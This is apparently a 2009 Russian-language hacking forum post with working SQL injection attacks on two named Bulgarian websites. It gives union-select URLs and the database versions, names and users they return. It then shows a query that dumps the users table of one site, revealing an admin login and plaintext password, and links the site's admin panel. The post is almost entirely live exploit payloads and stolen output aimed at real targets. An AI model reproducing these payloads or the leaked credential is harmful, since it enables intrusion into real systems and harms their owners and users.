15.02.2009, 16:14
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
Провел на форуме:
1936181
Репутация:
688
|
|
Код:
http://www.bfu.bg/news/index.php?url=news-detail.php&id=-1+union+select+1,concat _ws(0x3a,version(),database(),user()),3,4,5,6,7,8--
Database Version : 5.0.67-community-nt
Database name : bfu
User name : web@127.0.0.1
---------------------------------------#
Код:
http://www.insurance.bg/news/printnews.php?id=-1+union+select+1,concat_ ws(0x3a,version (),database(),user()),3,4,5,6--
Database Version : 4.0.26-standard-log
Database name :nsurance_main
User name : insurance_local@localhost
смотрим админа:
Код:
http://www.insurance.bg/news/printnews.php?id=-1+union+select+1,concat_ ws(0x3a,id,name,pass),3,4,5,6+ from+users--
1:admin:InsNewsTeam2008
админка:
Код:
http://www.insurance.bg/ admin/login.php
Требует плагин. Нормально заходит под IE. |
|
|